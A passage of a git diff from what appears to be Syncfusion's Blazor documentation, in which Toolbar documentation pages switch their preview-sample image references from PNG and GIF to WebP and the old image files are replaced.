+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDheWZitquTDHMDs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding or Removing Blazor Toolbar Items](../images/blazor-toolbar-add-or-remove-item.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/how-to/add-toggle-button.md b/blazor/toolbar/how-to/add-toggle-button.md
index aebfdea8a1..c3113d6e09 100644
--- a/blazor/toolbar/how-to/add-toggle-button.md
+++ b/blazor/toolbar/how-to/add-toggle-button.md
@@ -202,4 +202,4 @@ On clicking the toggle Button, change the required icon and content based on cur
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLSWXsZqaepVhRz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Toggle Button](../images/blazor-toolbar-item-with-toggle-button.gif)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLSWXsZqaepVhRz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Toggle Button](../images/blazor-toolbar-item-with-toggle-button.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/how-to/customize-the-scrolling-distance.md b/blazor/toolbar/how-to/customize-the-scrolling-distance.md
index 6c3437327d..d236589c32 100644
--- a/blazor/toolbar/how-to/customize-the-scrolling-distance.md
+++ b/blazor/toolbar/how-to/customize-the-scrolling-distance.md
@@ -50,4 +50,4 @@ The toolbar `ScrollStep` property supports to customize the scrolling distance,
 </SfToolbar>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZryMZCNAknqZPUj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Custominzing Scroll Step in Blazor Toolbar](../images/blazor-toolbar-scrollstep.gif)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZryMZCNAknqZPUj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Custominzing Scroll Step in Blazor Toolbar](../images/blazor-toolbar-scrollstep.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/how-to/enable-or-disable-toolbar-item.md b/blazor/toolbar/how-to/enable-or-disable-toolbar-item.md
index b3b323d339..eb56f10d49 100644
--- a/blazor/toolbar/how-to/enable-or-disable-toolbar-item.md
+++ b/blazor/toolbar/how-to/enable-or-disable-toolbar-item.md
@@ -39,4 +39,4 @@ The `Disabled` property of a Toolbar item enables or disables the item by settin
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrIMDCZUEcssLph?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling or Disabling Blazor Toolbar Item](../images/blazor-toolbar-disable-item.gif)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrIMDCZUEcssLph?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling or Disabling Blazor Toolbar Item](../images/blazor-toolbar-disable-item.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/how-to/set-command-customization.md b/blazor/toolbar/how-to/set-command-customization.md
index 7071e57629..248348bb0a 100644
--- a/blazor/toolbar/how-to/set-command-customization.md
+++ b/blazor/toolbar/how-to/set-command-customization.md
@@ -49,4 +49,4 @@ Single or multiple CSS classes can be applied to Toolbar items using the `Toolba
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLeWXiDguQHpcdp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar with Custom Items](../images/blazor-toolbar-custom-command.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLeWXiDguQHpcdp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar with Custom Items](../images/blazor-toolbar-custom-command.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/how-to/set-item-wise-custom-template.md b/blazor/toolbar/how-to/set-item-wise-custom-template.md
index bb531ea190..fac6cca711 100644
--- a/blazor/toolbar/how-to/set-item-wise-custom-template.md
+++ b/blazor/toolbar/how-to/set-item-wise-custom-template.md
@@ -39,4 +39,4 @@ The Toolbar supports defining custom content for an item using its `Template` pr
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBeCZWZqOFgmHpq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Custom Template](../images/blazor-toolbar-item-custom-template.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBeCZWZqOFgmHpq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Custom Template](../images/blazor-toolbar-item-custom-template.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/how-to/set-tool-tip-to-the-commands.md b/blazor/toolbar/how-to/set-tool-tip-to-the-commands.md
index 12535c3cec..6c5358dff6 100644
--- a/blazor/toolbar/how-to/set-tool-tip-to-the-commands.md
+++ b/blazor/toolbar/how-to/set-tool-tip-to-the-commands.md
@@ -32,4 +32,4 @@ Initialize the Tooltip with the Toolbar target.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjBIsZMNAavbcYAH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar with Tooltip](../images/blazor-toolbar-with-tooltip.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjBIsZMNAavbcYAH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar with Tooltip](../images/blazor-toolbar-with-tooltip.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/how-to/show-hide-toolbar-item.md b/blazor/toolbar/how-to/show-hide-toolbar-item.md
index 42051367dc..2639c814f4 100644
--- a/blazor/toolbar/how-to/show-hide-toolbar-item.md
+++ b/blazor/toolbar/how-to/show-hide-toolbar-item.md
@@ -40,4 +40,4 @@ The `Visible` property of a Toolbar item controls its visibility by setting its
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhSsXCXqYOTHppI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Showing or Hiding Blazor Toolbar Items](../images/blazor-toolbar-show-or-hide-item.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhSsXCXqYOTHppI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Showing or Hiding Blazor Toolbar Items](../images/blazor-toolbar-show-or-hide-item.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/how-to/tab-key-navigation-toolbar-items.md b/blazor/toolbar/how-to/tab-key-navigation-toolbar-items.md
index 0df64e7523..fb3bd3467f 100644
--- a/blazor/toolbar/how-to/tab-key-navigation-toolbar-items.md
+++ b/blazor/toolbar/how-to/tab-key-navigation-toolbar-items.md
@@ -66,4 +66,4 @@ If [TabIndex](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigation
     </ToolbarItems>
 </SfToolbar>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLSWXCDJtDTYouf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar with TabIndex](../images/blazor-toolbar-item-tabindex.gif)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLSWXCDJtDTYouf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar with TabIndex](../images/blazor-toolbar-item-tabindex.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/images/Extended.png b/blazor/toolbar/images/Extended.png
deleted file mode 100644
index f8870dc0f1..0000000000
Binary files a/blazor/toolbar/images/Extended.png and /dev/null differ
diff --git a/blazor/toolbar/images/Extended.webp b/blazor/toolbar/images/Extended.webp
new file mode 100644
index 0000000000..5b86dfff16
Binary files /dev/null and b/blazor/toolbar/images/Extended.webp differ
diff --git a/blazor/toolbar/images/MultiRow.png b/blazor/toolbar/images/MultiRow.png
deleted file mode 100644
index 7e732b68d2..0000000000
Binary files a/blazor/toolbar/images/MultiRow.png and /dev/null differ
diff --git a/blazor/toolbar/images/MultiRow.webp b/blazor/toolbar/images/MultiRow.webp
new file mode 100644
index 0000000000..38594e3b71
Binary files /dev/null and b/blazor/toolbar/images/MultiRow.webp differ
diff --git a/blazor/toolbar/images/blazor-create-web-app.png b/blazor/toolbar/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/toolbar/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-create-web-app.webp b/blazor/toolbar/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/toolbar/images/blazor-create-web-app.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-add-or-remove-item.gif b/blazor/toolbar/images/blazor-toolbar-add-or-remove-item.gif
deleted file mode 100644
index 86c1488ec4..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-add-or-remove-item.gif and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-add-or-remove-item.webp b/blazor/toolbar/images/blazor-toolbar-add-or-remove-item.webp
new file mode 100644
index 0000000000..cc9c5c7d18
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-add-or-remove-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-align-item.png b/blazor/toolbar/images/blazor-toolbar-align-item.png
deleted file mode 100644
index 4f8824865f..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-align-item.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-align-item.webp b/blazor/toolbar/images/blazor-toolbar-align-item.webp
new file mode 100644
index 0000000000..103e028f81
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-align-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-custom-command.png b/blazor/toolbar/images/blazor-toolbar-custom-command.png
deleted file mode 100644
index ad611999e1..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-custom-command.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-custom-command.webp b/blazor/toolbar/images/blazor-toolbar-custom-command.webp
new file mode 100644
index 0000000000..d192579799
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-custom-command.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-disable-item.gif b/blazor/toolbar/images/blazor-toolbar-disable-item.gif
deleted file mode 100644
index 56f70a811a..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-disable-item.gif and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-disable-item.webp b/blazor/toolbar/images/blazor-toolbar-disable-item.webp
new file mode 100644
index 0000000000..59e70b04f5
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-disable-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-hidden-item.png b/blazor/toolbar/images/blazor-toolbar-hidden-item.png
deleted file mode 100644
index 47f56e9b9d..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-hidden-item.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-hidden-item.webp b/blazor/toolbar/images/blazor-toolbar-hidden-item.webp
new file mode 100644
index 0000000000..1f6bb4b1f6
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-hidden-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-icon-in-suffix-item.png b/blazor/toolbar/images/blazor-toolbar-icon-in-suffix-item.png
deleted file mode 100644
index 4ab998f91a..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-icon-in-suffix-item.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-icon-in-suffix-item.webp b/blazor/toolbar/images/blazor-toolbar-icon-in-suffix-item.webp
new file mode 100644
index 0000000000..e423fdc87d
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-icon-in-suffix-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-custom-template.png b/blazor/toolbar/images/blazor-toolbar-item-custom-template.png
deleted file mode 100644
index 25e3e4fcae..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-custom-template.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-custom-template.webp b/blazor/toolbar/images/blazor-toolbar-item-custom-template.webp
new file mode 100644
index 0000000000..1611821703
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-custom-template.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-custom-width.png b/blazor/toolbar/images/blazor-toolbar-item-custom-width.png
deleted file mode 100644
index eea1f14570..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-custom-width.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-custom-width.webp b/blazor/toolbar/images/blazor-toolbar-item-custom-width.webp
new file mode 100644
index 0000000000..fefe2ea809
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-custom-width.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-extended-mode.gif b/blazor/toolbar/images/blazor-toolbar-item-extended-mode.gif
deleted file mode 100644
index fbd02f7ccc..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-extended-mode.gif and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-extended-mode.webp b/blazor/toolbar/images/blazor-toolbar-item-extended-mode.webp
new file mode 100644
index 0000000000..b606d3a3fe
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-extended-mode.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-in-overflow.png b/blazor/toolbar/images/blazor-toolbar-item-in-overflow.png
deleted file mode 100644
index fa6ffadc64..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-in-overflow.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-in-overflow.webp b/blazor/toolbar/images/blazor-toolbar-item-in-overflow.webp
new file mode 100644
index 0000000000..ce755d6c1c
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-in-overflow.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-in-popup.png b/blazor/toolbar/images/blazor-toolbar-item-in-popup.png
deleted file mode 100644
index b88862e6a9..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-in-popup.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-in-popup.webp b/blazor/toolbar/images/blazor-toolbar-item-in-popup.webp
new file mode 100644
index 0000000000..ed412b226f
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-in-popup.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-popup-mode.png b/blazor/toolbar/images/blazor-toolbar-item-popup-mode.png
deleted file mode 100644
index fe9ae17bce..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-popup-mode.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-popup-mode.webp b/blazor/toolbar/images/blazor-toolbar-item-popup-mode.webp
new file mode 100644
index 0000000000..5a921807fc
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-popup-mode.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-separator.png b/blazor/toolbar/images/blazor-toolbar-item-separator.png
deleted file mode 100644
index f2f073799e..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-separator.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-separator.webp b/blazor/toolbar/images/blazor-toolbar-item-separator.webp
new file mode 100644
index 0000000000..a66cefa4d3
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-separator.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-tabindex.gif b/blazor/toolbar/images/blazor-toolbar-item-tabindex.gif
deleted file mode 100644
index 73f5ca7350..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-tabindex.gif and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-tabindex.webp b/blazor/toolbar/images/blazor-toolbar-item-tabindex.webp
new file mode 100644
index 0000000000..0446c0b746
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-tabindex.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-tooltip.png b/blazor/toolbar/images/blazor-toolbar-item-tooltip.png
deleted file mode 100644
index 68be3b5261..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-tooltip.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-tooltip.webp b/blazor/toolbar/images/blazor-toolbar-item-tooltip.webp
new file mode 100644
index 0000000000..e2de62a0ce
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-tooltip.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-with-multirow.png b/blazor/toolbar/images/blazor-toolbar-item-with-multirow.png
deleted file mode 100644
index 413cd3b5e4..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-with-multirow.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-with-multirow.webp b/blazor/toolbar/images/blazor-toolbar-item-with-multirow.webp
new file mode 100644
index 0000000000..6b3526919a
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-with-multirow.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-with-other-components.png b/blazor/toolbar/images/blazor-toolbar-item-with-other-components.png
deleted file mode 100644
index d7cf77ee8f..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-with-other-components.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-with-other-components.webp b/blazor/toolbar/images/blazor-toolbar-item-with-other-components.webp
new file mode 100644
index 0000000000..028e6d6020
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-with-other-components.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-with-toggle-button.gif b/blazor/toolbar/images/blazor-toolbar-item-with-toggle-button.gif
deleted file mode 100644
index be40b3aac4..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-item-with-toggle-button.gif and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-item-with-toggle-button.webp b/blazor/toolbar/images/blazor-toolbar-item-with-toggle-button.webp
new file mode 100644
index 0000000000..7d97c32a58
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-item-with-toggle-button.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-long-press-scrolling.gif b/blazor/toolbar/images/blazor-toolbar-long-press-scrolling.gif
deleted file mode 100644
index ed583d1306..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-long-press-scrolling.gif and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-long-press-scrolling.webp b/blazor/toolbar/images/blazor-toolbar-long-press-scrolling.webp
new file mode 100644
index 0000000000..a5f74a6f34
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-long-press-scrolling.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-scrolling-touch.gif b/blazor/toolbar/images/blazor-toolbar-scrolling-touch.gif
deleted file mode 100644
index 2733680ee4..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-scrolling-touch.gif and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-scrolling-touch.webp b/blazor/toolbar/images/blazor-toolbar-scrolling-touch.webp
new file mode 100644
index 0000000000..3e6894837a
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-scrolling-touch.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-scrolling.png b/blazor/toolbar/images/blazor-toolbar-scrolling.png
deleted file mode 100644
index 51eb5c8720..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-scrolling.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-scrolling.webp b/blazor/toolbar/images/blazor-toolbar-scrolling.webp
new file mode 100644
index 0000000000..a21c085621
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-scrolling.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-scrollstep.gif b/blazor/toolbar/images/blazor-toolbar-scrollstep.gif
deleted file mode 100644
index 3719d70c38..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-scrollstep.gif and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-scrollstep.webp b/blazor/toolbar/images/blazor-toolbar-scrollstep.webp
new file mode 100644
index 0000000000..57e95e1932
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-scrollstep.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-show-or-hide-item.png b/blazor/toolbar/images/blazor-toolbar-show-or-hide-item.png
deleted file mode 100644
index 2f04d7cdd2..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-show-or-hide-item.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-show-or-hide-item.webp b/blazor/toolbar/images/blazor-toolbar-show-or-hide-item.webp
new file mode 100644
index 0000000000..d296ea8a46
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-show-or-hide-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-spacer-left-right-center-item.png b/blazor/toolbar/images/blazor-toolbar-spacer-left-right-center-item.png
deleted file mode 100644
index 338ad081a0..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-spacer-left-right-center-item.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-spacer-left-right-center-item.webp b/blazor/toolbar/images/blazor-toolbar-spacer-left-right-center-item.webp
new file mode 100644
index 0000000000..2742aff1b7
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-spacer-left-right-center-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-spacer-left-right-item.png b/blazor/toolbar/images/blazor-toolbar-spacer-left-right-item.png
deleted file mode 100644
index f600c52555..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-spacer-left-right-item.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-spacer-left-right-item.webp b/blazor/toolbar/images/blazor-toolbar-spacer-left-right-item.webp
new file mode 100644
index 0000000000..e23e577983
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-spacer-left-right-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-spacer-right-item.png b/blazor/toolbar/images/blazor-toolbar-spacer-right-item.png
deleted file mode 100644
index 9050d709a7..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-spacer-right-item.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-spacer-right-item.webp b/blazor/toolbar/images/blazor-toolbar-spacer-right-item.webp
new file mode 100644
index 0000000000..d2ba15c4e9
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-spacer-right-item.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-with-overflow-dropdown-popup.PNG b/blazor/toolbar/images/blazor-toolbar-with-overflow-dropdown-popup.PNG
deleted file mode 100644
index dafd046433..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-with-overflow-dropdown-popup.PNG and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-with-overflow-dropdown-popup.webp b/blazor/toolbar/images/blazor-toolbar-with-overflow-dropdown-popup.webp
new file mode 100644
index 0000000000..034689bf92
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-with-overflow-dropdown-popup.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar-with-tooltip.png b/blazor/toolbar/images/blazor-toolbar-with-tooltip.png
deleted file mode 100644
index 90856a4556..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar-with-tooltip.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar-with-tooltip.webp b/blazor/toolbar/images/blazor-toolbar-with-tooltip.webp
new file mode 100644
index 0000000000..ff9142b4ae
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar-with-tooltip.webp differ
diff --git a/blazor/toolbar/images/blazor-toolbar.png b/blazor/toolbar/images/blazor-toolbar.png
deleted file mode 100644
index e81ea59c2c..0000000000
Binary files a/blazor/toolbar/images/blazor-toolbar.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-toolbar.webp b/blazor/toolbar/images/blazor-toolbar.webp
new file mode 100644
index 0000000000..a84087aecb
Binary files /dev/null and b/blazor/toolbar/images/blazor-toolbar.webp differ
diff --git a/blazor/toolbar/images/blazor-wasm-app-template.png b/blazor/toolbar/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/toolbar/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/toolbar/images/blazor-wasm-app-template.webp b/blazor/toolbar/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/toolbar/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/toolbar/images/contenttemplate.png b/blazor/toolbar/images/contenttemplate.png
deleted file mode 100644
index d0bca69563..0000000000
Binary files a/blazor/toolbar/images/contenttemplate.png and /dev/null differ
diff --git a/blazor/toolbar/images/contenttemplate.webp b/blazor/toolbar/images/contenttemplate.webp
new file mode 100644
index 0000000000..fb31b4f1de
Binary files /dev/null and b/blazor/toolbar/images/contenttemplate.webp differ
diff --git a/blazor/toolbar/images/gettingstarted.png b/blazor/toolbar/images/gettingstarted.png
deleted file mode 100644
index efda37f5dd..0000000000
Binary files a/blazor/toolbar/images/gettingstarted.png and /dev/null differ
diff --git a/blazor/toolbar/images/gettingstarted.webp b/blazor/toolbar/images/gettingstarted.webp
new file mode 100644
index 0000000000..b0f7313dd1
Binary files /dev/null and b/blazor/toolbar/images/gettingstarted.webp differ
diff --git a/blazor/toolbar/item-configuration.md b/blazor/toolbar/item-configuration.md
index 474bd676d5..33b0f3fc5c 100644
--- a/blazor/toolbar/item-configuration.md
+++ b/blazor/toolbar/item-configuration.md
@@ -52,7 +52,7 @@ This property specifies the alignment of Toolbar items within the Toolbar. Each
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXLyCNCXftRpJLCM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Aligning Blazor Toolbar Item](./images/blazor-toolbar-align-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXLyCNCXftRpJLCM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Aligning Blazor Toolbar Item](./images/blazor-toolbar-align-item.webp)" %}
 
 To optimize the alignment of Toolbar items without using [Align](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.ToolbarItem.html#Syncfusion_Blazor_Navigations_ToolbarItem_Align) property, utilize the [Spacer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.ToolbarItem.html#Syncfusion_Blazor_Navigations_ToolbarItem_Type) in toolbar. Refer [here](./align-items.md) to integrate spacer in Toolbar.
 
@@ -87,7 +87,7 @@ This property specifies a unique ID to be used for the button or input element o
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjhIMDstpjPGdSjE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Id](./images/blazor-toolbar-align-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjhIMDstpjPGdSjE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Id](./images/blazor-toolbar-align-item.webp)" %}
 
 ## Overflow
 
@@ -133,7 +133,7 @@ It defines the priority of items to display it in popup always. It allows to mai
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVoMXWtJZEVZkAZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Displaying Blazor Toolbar Item in Popup](./images/blazor-toolbar-item-in-popup.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVoMXWtJZEVZkAZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Displaying Blazor Toolbar Item in Popup](./images/blazor-toolbar-item-in-popup.webp)" %}
 
 ## ShowTextOn
 
@@ -184,7 +184,7 @@ This property defines single or multiple classes, separated by space, used to sp
     </ToolbarItems>
 </SfToolbar>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVoMZsjpDEcZVJO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar displays Icon in Suffix Item](./images/blazor-toolbar-icon-in-suffix-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVoMZsjpDEcZVJO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar displays Icon in Suffix Item](./images/blazor-toolbar-icon-in-suffix-item.webp)" %}
 
 N> Refer [here](https://blazor.syncfusion.com/documentation/appearance/icons#icon-integration-in-button-component) to integrate Syncfusion icons in the Toolbar component.
 
@@ -223,7 +223,7 @@ It is used to specify the text to be displayed on hovering the Toolbar button.
 </SfToolbar>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhSMDWXzWXgSuJH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Tooltip](./images/blazor-toolbar-item-tooltip.png)" %}
